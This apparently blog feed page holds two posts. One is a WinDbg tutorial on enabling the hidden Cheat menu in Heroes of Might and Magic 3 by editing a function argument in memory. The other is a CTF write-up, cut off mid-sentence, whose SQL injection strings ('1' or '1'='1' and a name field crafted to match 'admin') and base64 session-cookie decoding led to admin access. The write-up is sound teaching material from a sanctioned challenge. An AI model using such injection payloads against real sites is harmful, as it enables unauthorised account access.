<p>The environment used for this exercise consists of:</p>
<ul>
<li>Windows 7 Professional SP1</li>
<li>WinDbg 6.12.0002.633 AMD64</li>
<li>Resource Hacker</li>
<li>Heroes of Might and Magic 3</li>
</ul>
<h1 id="target-audience">Target audience</h1>
<p>The following list describes the traits of those who might be interested in
reading this post:</p>
<ul>
<li>You have a little bit of programming experience with lower level languages (like C or Assembly).</li>
<li>You know almost nothing about windows development.</li>
<li>You know almost nothing about debugging windows applications.</li>
<li>You find game hacking interesting.</li>
<li>You want to learn some basics of WinDbg.</li>
<li>You just find this stuff interesting and want to see the end result.</li>
<li>You played a bunch of Heroes of Might and Magic 3 and want a way to cheat on it by your own merits!</li>
<li>You just like to read.</li>
</ul>
<h1 id="installing-windbg">Installing WinDbg</h1>
<p>As of this writing (10/20/2016), installing WinDbg on Windows 7 SP1 is not
100% intuitive. That is because Windows 10 is out, and the main installer
distributed on Microsoft’s website does not really work with Windows 7.</p>
<p>I decided then to write this quick section here to explain how to install
WinDbg on Windows 7.</p>
<p>Go to the Windows SDK archives page here: <a href="https://developer.microsoft.com/en-us/windows/downloads/sdk-archive">Windows SDK Archive</a></p>
<p>Search for the “Windows 7 and .NET Framework 4” entry in the table and download
that one! <a href="https://www.microsoft.com/en-us/download/details.aspx?id=8279">Direct link</a>.</p>
<p>If you are having trouble with it in your system check out this article: <a href="https://support.microsoft.com/en-us/kb/2717426">Windows SDK Fails to Install with Return Code 5100</a>.</p>
<p>In order to install the SDK, you will need the .NET Framework 4 installed. It
can be downloaded here: <a href="https://www.microsoft.com/en-us/download/details.aspx?id=17851">Microsoft .NET Framework 4 (Web Installer)</a></p>
<p>After downloading the SDK installer, just execute it, and when prompted for
what to install, select the “Debugging tools” and “Debugging tools for
Windows”, as in the following screenshot:</p>
<p class="image">
<img src="/images/201610/screen0-InstallingWinDbg.png" alt="Installing WinDbg" data-action="zoom" />
<em>Installing WinDbg</em>
</p>
<h1 id="what-happened">What happened</h1>
<p>The VM I used for this is a VM where I had some other tools for reverse engineering
installed, including “<a href="http://www.angusj.com/resourcehacker/">Resource Hacker</a>”.
While navigating around the HoMM3 folder, I just right-clicked
its executable and the option to open it in
“Resource Hacker” was there. I decided to give it a shot and see what was
available. What I found is:</p>
<ul>
<li>The game can be run in a windowed mode (I wasn’t aware of that)</li>
<li>There is a menu full of options for cheating</li>
</ul>
<p class="image">
<img src="/images/201610/screen1-ResourceHackerCheatMenu.png" alt="Cheat menu as seen in Resource Hacker" data-action="zoom" />
<em>Cheat menu as seen in Resource Hacker</em>
</p>
<p>Looking at the game’s regular menu in “Resource Hacker” I noticed that if you
press F4 during the game, it will switch to windowed mode. (Note: this only
works if your video card is configured to 16 bit color mode,
instead of the more common 32 bit color mode)</p>
<p>Running the game normally, this is how the menu looks like:</p>
<p class="image">
<img src="/images/201610/screen2-RegularMenuMainScreen.png" alt="Regular menu for HoMM3" data-action="zoom" />
<em>Regular menu for HoMM3</em>
</p>
<p>My plans on hacking the game just got way easier, so I decided to give it a try
and get the “Cheat” menu enabled in my game session.</p>
<h1 id="summary-of-the-thought-process">Summary of the thought process</h1>
<p>The idea of this post is to describe the thought process on how to approach
such problem. I asked myself the following questions:</p>
<ul>
<li>How do I load the game and get it to run from WinDbg?</li>
<li>How does the game load its menu? What function is it using for that?</li>
<li>How do I stop execution of the game when it calls the function to load the menu?</li>
<li>How do I change the parameters being passed to this function to load the “Cheat” menu?</li>
</ul>
<p>The answers to each one of those questions, together with the steps to get to
them are described in the following sections. Answering all those questions
will lead to the final goal of activating the “Cheat” menu in the game.</p>
<p>When I first started writing this post, I had close to zero experience with
Windows development and the Win32 API. I realize that the steps described are
simple, but I had to start somewhere. Also, the target audience section covers
me here.</p>
<h1 id="detailed-thought-process">Detailed Thought process</h1>
<h2 id="how-do-i-load-the-game-and-get-it-to-run-from-windbg">How do I load the game and get it to run from WinDbg?</h2>
<p>This is where the basics of WinDbg start. So if you already know how to use
WinDbg, feel free to skip this section.</p>
<p>Load the game on WinDbg using <em>File -> Open Executable…</em>.</p>
<p>Find the place where the game is installed in your computer and click the
<em>Open</em> button.</p>
<p class="image">
<img src="/images/201610/screen3-WinDbgLoadExecutable.png" alt="Opening the game with WinDbg" data-action="zoom" />
<em>Opening the game with WinDbg</em>
</p>
<p>At this point the <em>Command</em> screen will be displayed:</p>
<p class="image">
<img src="/images/201610/screen4-WinDbgCommandScreen.png" alt="Command screen" data-action="zoom" />
<em>Command screen</em>
</p>
<p>The process is stopped at a breakpoint that is placed by WinDbg and that
happens before the entry point of our application has been reached.</p>
<p>In order to get the process to continue execution, just type the command <code class="language-plaintext highlighter-rouge">g</code>
and press Enter.</p>
<p>The Process should resume and stop at another breakpoint. This one is also
outside of our target process and triggered by WinDbg. Just like before,
type the command <code class="language-plaintext highlighter-rouge">g</code> and press Enter.</p>
<p>The game will try to start, but an error will happen. Something like this:</p>
<p class="image">
<img src="/images/201610/screen5-WinDbgRunningError.png" alt="HoMM3 error starting" data-action="zoom" />
<em>HoMM3 error starting</em>
</p>
<p>This error occurs because HoMM3 is looking for DLLs that it cannot find. This
happens because the binary load path is not set to the correct value (as if
it had been copied to another folder and we tried to open it) and when it
tries to look for some DLLs that have a path relative to itself, those cannot
be found and the process errors out.</p>
<p>Look back at the screen to load the binary above. Notice there is a
“Start Directory” text box that is blank. We need to fill that with the path
where the binary is located. In my case, it is: <em>C:\GOG Games\Heroes of Might and Magic 3 Complete</em>.</p>
<p class="image">
<img src="/images/201610/screen6-WinDbgLoadExecutableCorrectly.png" alt="Configuring the Start Path for the game" data-action="zoom" />
<em>Configuring the Start Path for the game</em>
</p>
<p>Just click OK in the error message that is displayed. You should be back in the
debugger window. Click the menu <em>Debug -> Stop Debugging</em>, and then start over
on <em>File -> Open Executable…</em> and this time fill the <code class="language-plaintext highlighter-rouge">Start Directory</code> text box.</p>
<p>Just run the command <code class="language-plaintext highlighter-rouge">g</code> twice in the Command window now, and notice that the
game will start.</p>
<h2 id="how-does-the-game-load-its-menu-what-function-is-it-using-for-that">How does the game load its menu? What function is it using for that?</h2>
<p>The game is now running. It is time to investigate how does the game load
its menu?</p>
<p>Considering that the game creates a window, it might be safe to assume that
there might be a function in the Win32 API responsible for loading the menu.
But what function would that be?</p>
<p>I didn’t really know the answer for that. So I just googled around with some
keywords such as “win32 api load menu resource”, which returned me these
two nice links:</p>
<ul>
<li><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/aa381025(v=vs.85).aspx">MENU resource</a></li>
<li><a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms647990(v=vs.85).aspx">LoadMenu function</a></li>
</ul>
<p>The first one describes what a MENU resource is, and the second one talks about
the <code class="language-plaintext highlighter-rouge">LoadMenu</code> function.</p>
<p>It seems that <code class="language-plaintext highlighter-rouge">LoadMenu</code> is the function used to load a menu resource that is
inside a binary. Here is what the documentation says about it:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HMENU WINAPI LoadMenu(
_In_opt_ HINSTANCE hInstance,
_In_ LPCTSTR lpMenuName
);
hInstance [in, optional]
Type: HINSTANCE
A handle to the module containing the menu resource to be loaded.
lpMenuName [in]
Type: LPCTSTR
The name of the menu resource. Alternatively, this parameter can
consist of the resource identifier in the low-order word and zero
in the high-order word. To create this value, use the MAKEINTRESOURCE
macro.
</code></pre></div></div>
<p>One thing about the Win32 API is that functions seem to always (or almost always)
have two different versions: a Unicode one and an ASCII one. So, for the
<code class="language-plaintext highlighter-rouge">LoadMenu</code> function, the real function names are either <code class="language-plaintext highlighter-rouge">LoadMenuA</code>
(ASCII version) or <code class="language-plaintext highlighter-rouge">LoadMenuW</code> (Unicode version).</p>
<p>With this information in hand, the next question is waiting for an answer!</p>
<h2 id="how-do-i-stop-execution-of-the-game-when-it-calls-the-function-to-load-the-menu">How do I stop execution of the game when it calls the function to load the menu?</h2>
<p>If you have any experience at all with programming and debugging, you know the
answer is “Set a breakpoint”. So, how to set a breakpoint on WinDbg?</p>
<p>In order to be able to set a breakpoint on functions in the Win32 API, first we
need to configure WinDbg to retrieve the debugging symbols from a server and to store
them locally (well, storing them locally is not necessary but it saves a lot
of time). For that, go to <em>File -> Symbol File Path…</em> and in the window that
just popped up, enter the following value:</p>
<ul>
<li>SRV*c:\symbols*http://msdl.microsoft.com/download/symbols</li>
</ul>
<p>This tells WinDbg to get the symbols from Microsoft’s server and to store them
in the <code class="language-plaintext highlighter-rouge">c:\symbols</code> folder locally.</p>
<p>In the command screen, type the command <code class="language-plaintext highlighter-rouge">.reload</code>, so that
WinDbg will reload the currently loaded modules and download the debugging
symbols for them. This might take a while.</p>
<p>Per the documentation, the <code class="language-plaintext highlighter-rouge">LoadMenu</code> functions can be found in the User32
lib, meaning that they are in the User32.dll file. WinDbg offers the <code class="language-plaintext highlighter-rouge">x</code>
command to check for loaded symbols. The syntax is:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x [Options] Module!Symbol
</code></pre></div></div>
<p>So, trying the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>x user32!*LoadMenu*
</code></pre></div></div>
<p>And the response should be something like:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> x user32!*LoadMenu*
00000000`76b943bc USER32!__ClientLoadMenu = <no type information>
00000000`76b94b74 USER32!CommonLoadMenu = <no type information>
00000000`76ba4eef USER32!LoadMenuA = <no type information>
00000000`76b94391 USER32!LoadMenuW = <no type information>
</code></pre></div></div>
<p>So now we know that these symbols have been loaded as expected. All we need to
do is set a breakpoint for them (since we don’t know what function HoMM3 is
using, we set a breakpoint for both). The command for setting up breakpoints
is <code class="language-plaintext highlighter-rouge">bp</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> bp LoadModuleA
0:000> bp LoadModuleW
</code></pre></div></div>
<p>At this point we need to restart the debugging session since the game is
already running and the menu has already been loaded.</p>
<p>Use the command <code class="language-plaintext highlighter-rouge">.restart</code> or go to <em>Debug -> Restart</em> to restart the
debugging session. The debugger will break for the first time:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> .restart
WARNING: Whitespace at start of path element
WARNING: Whitespace at start of path element
CommandLine: "C:\GOG Games\Heroes of Might and Magic 3 Complete\Heroes3.exe"
Starting directory: C:\GOG Games\Heroes of Might and Magic 3 Complete
WARNING: Whitespace at start of path element
Symbol search path is: ;SRV*c:\symbols-bkp*http://msdl.microsoft.com/download/symbols
Executable search path is:
ModLoad: 00000000I`00400000 00000000`006b6000 image00000000`00400000
ModLoad: 00000000I`772b0000 00000000`77459000 ntdll.dll
ModLoad: 00000000I`77490000 00000000`77610000 ntdll32.dll
ModLoad: 00000000I`74c50000 00000000`74c8f000 C:\Windows\SYSTEM32\wow64.dll
ModLoad: 00000000I`743c0000 00000000`7441c000 C:\Windows\SYSTEM32\wow64win.dll
ModLoad: 00000000I`74c40000 00000000`74c48000 C:\Windows\SYSTEM32\wow64cpu.dll
(7c8.7c4): Break instruction exception - code 80000003 (first chance)
ntdll!LdrpDoDebuggerBreak+0x30:
00000000`7735cb60 cc int 3
</code></pre></div></div>
<p>Try to set the breakpoints:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> bp LoadMenuA
Bp expression 'LoadMenuA' could not be resolved, adding deferred bp
0:000> bp LoadMenuW
Bp expression 'LoadMenuW' could not be resolved, adding deferred bp
</code></pre></div></div>
<p>As you can see, the debugger says that the function name could not be resolved.
This happens because the <code class="language-plaintext highlighter-rouge">User32</code> (user32.dll) module has not yet been
loaded.</p>
<p>Just run the <code class="language-plaintext highlighter-rouge">g</code> command once so that the other modules are loaded:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> g
ModLoad: 00000000`77090000 00000000`771af000 WOW64_IMAGE_SECTION
ModLoad: 00000000`76400000 00000000`76510000 WOW64_IMAGE_SECTION
ModLoad: 00000000`77090000 00000000`771af000 NOT_AN_IMAGE
ModLoad: 00000000`771b0000 00000000`772aa000 NOT_AN_IMAGE
ModLoad: 00000000`76400000 00000000`76510000 C:\Windows\syswow64\kernel32.dll
ModLoad: 00000000`76640000 00000000`76686000 C:\Windows\syswow64\KERNELBASE.dll
ModLoad: 00000000`749a0000 00000000`749a9000 C:\Windows\SysWOW64\VERSION.dll
ModLoad: 00000000`752d0000 00000000`7537c000 C:\Windows\syswow64\msvcrt.dll
ModLoad: 00000000`69d90000 00000000`69dc2000 C:\Windows\SysWOW64\WINMM.dll
ModLoad: 00000000`76510000 00000000`76610000 C:\Windows\syswow64\USER32.dll
ModLoad: 00000000`76f70000 00000000`77000000 C:\Windows\syswow64\GDI32.dll
ModLoad: 00000000`76240000 00000000`7624a000 C:\Windows\syswow64\LPK.dll
ModLoad: 00000000`762b0000 00000000`7634d000 C:\Windows\syswow64\USP10.dll
ModLoad: 00000000`751b0000 00000000`75250000 C:\Windows\syswow64\ADVAPI32.dll
ModLoad: 00000000`76350000 00000000`76369000 C:\Windows\SysWOW64\sechost.dll
ModLoad: 00000000`76b40000 00000000`76c30000 C:\Windows\syswow64\RPCRT4.dll
ModLoad: 00000000`74ff0000 00000000`75050000 C:\Windows\syswow64\SspiCli.dll
ModLoad: 00000000`74fe0000 00000000`74fec000 C:\Windows\syswow64\CRYPTBASE.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\GOG Games\Heroes of Might and Magic 3 Complete\mss32.dll -
ModLoad: 00000000`21000000 00000000`21058000 C:\GOG Games\Heroes of Might and Magic 3 Complete\mss32.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\GOG Games\Heroes of Might and Magic 3 Complete\smackw32.dll -
ModLoad: 00000000`10000000 00000000`1001b000 C:\GOG Games\Heroes of Might and Magic 3 Complete\smackw32.dll
ModLoad: 00000000`69e70000 00000000`69f57000 C:\Windows\SysWOW64\DDRAW.dll
ModLoad: 00000000`69e60000 00000000`69e66000 C:\Windows\SysWOW64\DCIMAN32.dll
ModLoad: 00000000`76c30000 00000000`76dcd000 C:\Windows\syswow64\SETUPAPI.dll
ModLoad: 00000000`76690000 00000000`766b7000 C:\Windows\syswow64\CFGMGR32.dll
ModLoad: 00000000`77000000 00000000`7708f000 C:\Windows\syswow64\OLEAUT32.dll
ModLoad: 00000000`75050000 00000000`751ac000 C:\Windows\syswow64\ole32.dll
ModLoad: 00000000`76610000 00000000`76622000 C:\Windows\syswow64\DEVOBJ.dll
ModLoad: 00000000`6dad0000 00000000`6dae3000 C:\Windows\SysWOW64\dwmapi.dll
ModLoad: 00000000`73a50000 00000000`73a57000 C:\Windows\SysWOW64\WSOCK32.dll
ModLoad: 00000000`76f30000 00000000`76f65000 C:\Windows\syswow64\WS2_32.dll
ModLoad: 00000000`76630000 00000000`76636000 C:\Windows\syswow64\NSI.dll
ModLoad: 00000000`75380000 00000000`75fca000 C:\Windows\syswow64\SHELL32.dll
ModLoad: 00000000`76ed0000 00000000`76f27000 C:\Windows\syswow64\SHLWAPI.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\GOG Games\Heroes of Might and Magic 3 Complete\binkw32.dll -
ModLoad: 00000000`00230000 00000000`0025b000 C:\GOG Games\Heroes of Might and Magic 3 Complete\binkw32.dll
*** WARNING: Unable to verify checksum for C:\GOG Games\Heroes of Might and Magic 3 Complete\IFC20.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\GOG Games\Heroes of Might and Magic 3 Complete\IFC20.dll -
ModLoad: 00000000`00260000 00000000`00283000 C:\GOG Games\Heroes of Might and Magic 3 Complete\IFC20.dll
(7c8.7c4): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ntdll32!LdrpDoDebuggerBreak+0x2c:
77530f3b cc int 3
</code></pre></div></div>
<p>At this point, <code class="language-plaintext highlighter-rouge">User32.dll</code> has been loaded and we can try to set the breakpoint again:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000:x86> bp LoadMenuA
breakpoint 2 redefined
0:000:x86> bp LoadMenuW
breakpoint 8 redefined
</code></pre></div></div>
<p>Now, just continue execution using the <code class="language-plaintext highlighter-rouge">g</code> command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000:x86> g
ModLoad: 6dfa0000 6dfec000 C:\Windows\SysWOW64\apphelp.dll
ModLoad: 74680000 7470d000 C:\Windows\AppPatch\AcLayers.DLL
ModLoad: 6e2c0000 6e2d7000 C:\Windows\SysWOW64\USERENV.dll
ModLoad: 73900000 7390b000 C:\Windows\SysWOW64\profapi.dll
ModLoad: 74ca0000 74cf1000 C:\Windows\SysWOW64\WINSPOOL.DRV
ModLoad: 74660000 74672000 C:\Windows\SysWOW64\MPR.dll
ModLoad: 76250000 762b0000 C:\Windows\SysWOW64\IMM32.DLL
ModLoad: 766c0000 7678c000 C:\Windows\syswow64\MSCTF.dll
ModLoad: 73af0000 73b70000 C:\Windows\SysWOW64\uxtheme.dll
Breakpoint 2 hit
USER32!LoadMenuA:
76544eef 8bff mov edi,edi
</code></pre></div></div>
<p>As you will notice, the execution will break twice in the <code class="language-plaintext highlighter-rouge">LoadMenuA</code>
function. This means that two different menus are being loaded. Just
execute the <code class="language-plaintext highlighter-rouge">g</code> command when the breakpoints are hit to continue
execution and get the game to start.</p>
<h2 id="how-do-i-change-the-parameters-being-passed-to-this-function-to-load-the-cheat-menu">How do I change the parameters being passed to this function to load the “Cheat” menu?</h2>
<p>So, looking at the parameters for <code class="language-plaintext highlighter-rouge">LoadMenuA</code> we can see that the second one
identifies the menu that is being loaded. It will either be a string with the
menu name, or the menu identifier. This is an x86 binary we are dealing with
here, and the Windows convention for parameter passing in this case is that
they should be passed on the stack.</p>
<p>So, let’s look at the stack as soon as the process stops in the first break
point for <code class="language-plaintext highlighter-rouge">LoadMenuA</code>. In order to do this, we can use the <code class="language-plaintext highlighter-rouge">db</code> command
and give it the address that we want to print:</p>
<pre class="highlight"><code>
0:000:x86> db @esp
0018fe94 <b><font class="highlight1">0f db 4e 00</font> <font class="highlight2">00 00 40 00</font></b>-<b><font class="highlight3">6e 00 00 00</font></b> fd 95 69 00 ..N...@.n.....i.
0018fea4 00 00 40 00 00 00 00 00-10 27 00 00 fc fe 18 00 ..@......'......
0018feb4 a3 7a 4f 00 00 00 00 00-00 00 00 00 00 e0 fd 7e .zO............~
0018fec4 d0 fe 18 00 05 b3 61 00-b0 b7 6a 00 88 ff 18 00 ......a...j.....
0018fed4 f1 8e 61 00 0d 00 00 00-3f 79 61 00 00 00 00 00 ..a.....?ya.....
0018fee4 00 00 00 00 00 e0 fd 7e-80 6c 61 00 f0 4d 40 00 .......~.la..M@.
0018fef4 65 00 00 00 65 00 00 00-88 ff 18 00 94 a3 61 00 e...e.........a.
0018ff04 00 00 40 00 00 00 00 00-bf 2e 75 00 0a 00 00 00 ..@.......u.....
</code></pre>
<p>The <code class="language-plaintext highlighter-rouge">@esp</code> value, means that we should use the address stored in the <code class="language-plaintext highlighter-rouge">esp</code>
register.</p>
<p>Looking at the stack then, we see these values at the top:</p>
<ul>
<li><b><font class="highlight1">0f db 4e 00</font></b> at address 0x0018fe94 : This is the return address</li>
<li><b><font class="highlight2">00 00 40 00</font></b> at address 0x0018fe98 : This is the first argument for LoadMenuA</li>
<li><b><font class="highlight3">6e 00 00 00</font></b> at address 0x0018fe9c : This is the second argument for LoadMenuA</li>
</ul>
<p>From the <code class="language-plaintext highlighter-rouge">LoadMenuA</code> signature, we know that the second argument is the one
we are interested in. If we take the value of that argument (0x6E) and convert
it to decimal we get <code class="language-plaintext highlighter-rouge">110</code>. Looking at the menu resource in Resource Hacker
we have:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>110 MENU
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
{
POPUP "&File"
{
MENUITEM "&Quit", 40140
}
POPUP "&Display"
{
MENUITEM "&Full Screen (F4)", 40009
}
POPUP "&Help"
{
MENUITEM "On Line &Manual", 40052
MENUITEM SEPARATOR
MENUITEM "&About", 40053
}
}
</code></pre></div></div>
<p>As we can see, the identifier of the regular menu is 110. So, let’s look at the
menu that contains the <em>Cheat</em> menu:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>111 MENU
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
{
POPUP "&Cheat"
{
POPUP "Free artifacts"
{
MENUITEM "Spellbook", 45000
MENUITEM "Holy Grail", 45002
MENUITEM "Ballista", 45004
MENUITEM "Ammo Cart", 45005
MENUITEM "First-Aid Tent", 45006
MENUITEM "Centaurs Axe", 45007
MENUITEM "Blackshard of The Dead Knight",
... [Shortened for brevity]
</code></pre></div></div>
<p>We can see that the identifier for this menu is 111. It should be just a
matter of changing the second parameter for <code class="language-plaintext highlighter-rouge">LoadMenuA</code> from 0x6E (110)
to 0x6F (111) to get the application to load the <em>Cheat</em> menu.</p>
<p>This change can be made with the command <code class="language-plaintext highlighter-rouge">ed</code>, as shown below:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000:x86> ed 0018fe9c 0x6f
0:000:x86> db @esp
0018fe94 0f db 4e 00 00 00 40 00-6f 00 00 00 fd 95 69 00 ..N...@.o.....i.
0018fea4 00 00 40 00 00 00 00 00-10 27 00 00 fc fe 18 00 ..@......'......
0018feb4 a3 7a 4f 00 00 00 00 00-00 00 00 00 00 e0 fd 7e .zO............~
0018fec4 d0 fe 18 00 05 b3 61 00-b0 b7 6a 00 88 ff 18 00 ......a...j.....
0018fed4 f1 8e 61 00 0d 00 00 00-3f 79 61 00 00 00 00 00 ..a.....?ya.....
0018fee4 00 00 00 00 00 e0 fd 7e-80 6c 61 00 f0 4d 40 00 .......~.la..M@.
0018fef4 65 00 00 00 65 00 00 00-88 ff 18 00 94 a3 61 00 e...e.........a.
0018ff04 00 00 40 00 00 00 00 00-bf 2e 75 00 0a 00 00 00 ..@.......u.....
</code></pre></div></div>
<p>Notice now that the value in the stack has been changed from 0x6E to 0x6F.</p>
<p>At this point, just run the <code class="language-plaintext highlighter-rouge">g</code> command to resume execution. Another
breakpoint will be triggered for the <code class="language-plaintext highlighter-rouge">LoadMenuA</code> function. Inspect the stack,
check what parameter is being passed to it and fix it in the same way as we
just did. Notice that this second menu being loaded, is the menu used when a
battle starts in the game. You will notice that it has a different menu
identifier, and Resource Hacker should show you a second <em>Cheat</em> menu as well.</p>
<p>After that, just run the <code class="language-plaintext highlighter-rouge">g</code> command again to resume execution and see the
game start this time.</p>
<p class="image">
<img src="/images/201610/screen7-CheatMenuInGame.png" alt="Game with the Cheat menu" data-action="zoom" />
<em>Game with the Cheat menu</em>
</p>
<h1 id="summary-of-windbg-commands">Summary of WinDbg commands</h1>
<p>Here is then the summary of WinDbg commands that were used and learned during
this experience:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">bp Module!Symbol</code> - Sets a breakpoint</li>
<li><code class="language-plaintext highlighter-rouge">.restart</code> - Restarts the debugging session</li>
<li><code class="language-plaintext highlighter-rouge">.reload</code> - Reloads the modules already loaded and their debugging symbols</li>
<li><code class="language-plaintext highlighter-rouge">x Module!Symbol</code> - Displays the symbols of a module</li>
<li><code class="language-plaintext highlighter-rouge">g</code> - Continues program execution</li>
<li><code class="language-plaintext highlighter-rouge">db address</code> - Prints data on address</li>
<li><code class="language-plaintext highlighter-rouge">ed address value</code> - Edits the value at address and set it to value. Writes 4 bytes at a time</li>
</ul>
<p>And the following commands, that were not used but that can be pretty useful:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">k</code> - Backtrace</li>
<li><code class="language-plaintext highlighter-rouge">uf address</code> - Shows disassembly of address</li>
<li><code class="language-plaintext highlighter-rouge">uf $scopeeip</code> - Shows disassembly of current instruction</li>
</ul>
<p>Help can be obtained by using the <code class="language-plaintext highlighter-rouge">.hh</code> command.</p>
<h1 id="summary-of-the-process">Summary of the process</h1>
<p>Just to reinforce and to have verything together, here is a small summary of
what has been done to figure out the existence of the <em>Cheat</em> menu and how to
enable it in the game:</p>
<ul>
<li>Open the game binary in Resource Hacker and realize there is a <em>Cheat</em> menu</li>
<li>Get the game to run in windowed mode</li>
<li>Load the game in WinDbg</li>
<li>Figure out how to get it to start</li>
<li>Figure out how the menu is loaded</li>
<li>Figure out the menu identifiers</li>
<li>Stop execution at the start of the function that loads the menu</li>
<li>Edit the memory to change the value of the menu identifier being passed to it</li>
<li>Resume execution of the program</li>
</ul>
<h1 id="closing-thoughts">Closing thoughts</h1>
<p>This was just a small introduction to WinDbg and game hacking. While it is
pretty interesting to use the debugger to perform this task, ideally we don’t
want to have the debugger running while playing since it interferes with
performance and is not practical to do every time the game is started.</p>
<p>In the next article, we will go through the process of patching the binary to
always load the <em>Cheat</em> menu instead. It should be short and simple!</p>
<h1 id="aftermath-discovery">Aftermath Discovery</h1>
<p>It came to my attention that this cheat menu can also be enabled via a command
line argument (/ncwgrail) that can be passed to the application when it is
started.</p>
<p>I still believe that doing it with the debugger is a nice feat, and that being
able to patch the binary to automatically enable this menu will also be a cool
thing to do.</p>
Write-up: NotSoSecure CTF2013-10-27T00:00:00+00:00https://www.gilgalab.com/blog/2013/10/27/Write-up-NotSoSecureCTF<p>This is a writeup for the public CTF hosted by NotSoSecure for the celebration
of SQLi Labs’s launch. It started 16:00 BST on Friday 25th October and ended
21:00 BST on Sunday 27th October. Three PizzaEaters’ members participated.</p>
<h2 id="first-flag">First flag</h2>
<p>In the mail containing the instructions to start the CTF, the following URL was
supplied:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">http://ctf.notsosecure.com/71367217217126217712/</code></pre></figure>
<figure class="float">
<a href="/assets/images/27-oct-2013/login.png" class="image-popup">
<img src="/assets/images/27-oct-2013/login.png" alt="Login" />
</a>
</figure>
<p>This page requires an username and password, but there was no mention of it in
the email.</p>
<p>We started with the classic attempt of injecting <code class="language-plaintext highlighter-rouge">1' or '1'='1</code> string for
both username and password. Having no luck, we started looking around a bit
closer.</p>
<p>We submitted the form empty, and noticed an HTTP 302 redirect with
the following information:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">7365637265745f72656769737465722e68746d6c</code></pre></figure>
<figure class="float">
<a href="/assets/images/27-oct-2013/302.png" class="image-popup">
<img src="/assets/images/27-oct-2013/302.png" alt="302" />
</a>
</figure>
<p>We noticed the hex encoding and we decoded the string with this simple Python
script:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">s</span> <span class="o">=</span> <span class="sh">'</span><span class="s">7365637265745f72656769737465722e68746d6c</span><span class="sh">'</span>
<span class="k">print</span> <span class="sh">''</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="nf">chr</span><span class="p">(</span><span class="nf">int</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">n</span><span class="p">:</span><span class="n">n</span><span class="o">+</span><span class="mi">2</span><span class="p">],</span> <span class="mi">16</span><span class="p">))</span> <span class="k">for</span> <span class="n">n</span> <span class="ow">in</span> <span class="nf">xrange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">s</span><span class="p">),</span> <span class="mi">2</span><span class="p">)])</span></code></pre></figure>
<p>The script basically takes those numbers 2 at a time and convert them to their
respective ascii char. The output for it was ‘secret_register.html’.</p>
<p>Great! We now have a different page name to play with. Accessing it we were greeted with
a registration form that we filled with some dummy values just to test.</p>
<figure class="float">
<a href="/assets/images/27-oct-2013/dummy.png" class="image-popup">
<img src="/assets/images/27-oct-2013/dummy.png" alt="Login" />
</a>
</figure>
<p>After submitting our registration, we tried to login with our newly created
user. At this point we found ourselves in a page with a crying figure
lamenting that we were not Admin. :(</p>
<figure class="float">
<a href="/assets/images/27-oct-2013/notadmin.png" class="image-popup">
<img src="/assets/images/27-oct-2013/notadmin.png" alt="notadmin" />
</a>
</figure>
<p>Looking at the requests that were made during the login phase, we noticed
the following cookie being set:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">Set-Cookie: session_id=Zm9vQGJhci5jb20%3D</code></pre></figure>
<figure class="float">
<a href="/assets/images/27-oct-2013/setcookie.png" class="image-popup">
<img src="/assets/images/27-oct-2013/setcookie.png" alt="cookie" />
</a>
</figure>
<p>This looks a lot like a base64 encoded value.</p>
<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"Zm9vQGJhci5jb20="</span> | <span class="nb">base64</span> <span class="nt">-d</span>
foo@bar.com</code></pre></figure>
<p>So, the page is setting a cookie containing the user’s email. And that is
it, it seems.</p>
<p>At this point, nothing too interesting. Perhaps it was time to try the
classic SQL Injection approach in the registration form, as doing it in
the login form resulted on nothing.</p>
<p>We tried creating an user called <code class="language-plaintext highlighter-rouge">!!' or name = 'admin</code> just to see what
would happen (after all, the name of the field in the form was ‘name’
so why not give it a shot?). We logged in with our new user and to our
surprise the following cookie was set:</p>
<figure class="highlight"><pre><code class="language-text" data-lang="text">Set-Cookie: session_id=YWRtaW5Ac3FsaWxhYnMuY29t</code></pre></figure>
<figure class="float">
<a href="/assets/images/27-oct-2013/setcookie2.png" class="image-popup">
<img src="/assets/images/27-oct-2013/setcookie2.png" alt="cookie" />
</a>
</figure>
<p>Decoding that</p>
